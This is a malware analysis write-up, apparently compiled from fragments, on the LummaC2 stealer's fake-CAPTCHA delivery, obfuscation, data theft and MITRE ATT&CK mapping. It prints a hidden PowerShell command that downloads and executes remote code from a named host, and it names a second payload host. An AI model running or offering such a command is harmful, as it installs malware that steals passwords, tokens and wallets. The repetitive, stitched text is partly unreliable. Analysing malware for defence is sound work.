LummaC2 Stealer

Techniques Used (MITRE ATT&CK): T1583.006: Acquire Infrastructure – Web Services

What makes this attack more dangerous is the deceptive delivery method, exploiting users’ trust in CAPTCHA pages and social engineering tactics. The attack begins with users being directed to a fake CAPTCHA page under the guise of human verification.

"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR='https://ferrydero.com/gopros/verify.txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t

The page contains a javascript that copies a powershell command to clipboard.

The page instructs users to copy and paste a PowerShell script into their system’s Run window. Upon execution, the script retrieves and executes a malicious EXE file — Lumma Stealer.

Users tricked into running clipboard-injected PowerShell via Windows + R

It uses extensive obfuscation and anti-analysis features... The “hta” file uses multiple obfuscation techniques... Another round of deobfuscation led to an obfuscated powershell command... “Security.Cryptography.Aes” indicating AES encryption was also used.

T1036.008: Masquerading: Masquerade File Type

Detection Evasion: The stealer has many Obfuscated strings that are being covered by a random string, “edx765”, to evade detection. Upon execution, the stealer passes the obfuscated string to a function that strips the random string and delivers the original string.

In another sample, I observed “mshta.exe” is used to execute the javascript embedded in the HTA application

In another sample, I observed “mshta.exe” is used to execute the javascript embedded in the HTA application

Lumma Stealer is designed to exfiltrate sensitive information such as passwords, session tokens, cryptocurrency wallets, and other personal data from infected machines.

Lumma Stealer is designed to steal sensitive data from compromised devices. It targets private browser data, cryptocurrency wallets, email credentials, financial information, and more.

It starts extracting multiple pieces of information from the system, including LummaC2 Build, Lumma ID, Hardware ID, Screen Resolution, System Language, CPU Name, and Physical Memory.

File Grabber: The stealer now enumerates the %userProfile% directory and grabs .txt files from the Victims machine.

The stealer now enumerates the %userProfile% directory and grabs .txt files from the Victims machine. These grabbed files are stored in the memory under the name “ Important Files/Profile ” for exfiltration.

MITRE ATT&CK® Techniques ... Collection T1119 T1005 Automated Collection Data from the Local System

Downloads a ZIP file (bigudish.zip) from “https://fill-tomap.com/” and saves it as pakgosk.zip in C:\ProgramData\. ... Extracts the ZIP file into C:\ProgramData\Extracto.

After collecting the victim’s wallet and system details, the stealer sends this information to its C&C server... Finally, the stealer encrypts the data obtained from the infected system and sends it to the C&C server.

Downloads a file from https://ferrydero.com/gopros/verify.txt using Invoke-WebRequest... Downloads a ZIP file (bigudish.zip) from “https://fill-tomap.com/” and saves it as pakgosk.zip in C:\ProgramData\.

Finally, the stealer encrypts the data obtained from the infected system and sends it to the C&C server.

MITRE ATT&CK® Techniques Tactic Technique ID Technique Name Defense Evasion T1140 T1562 Deobfuscate/Decode Files or Information Impair Defences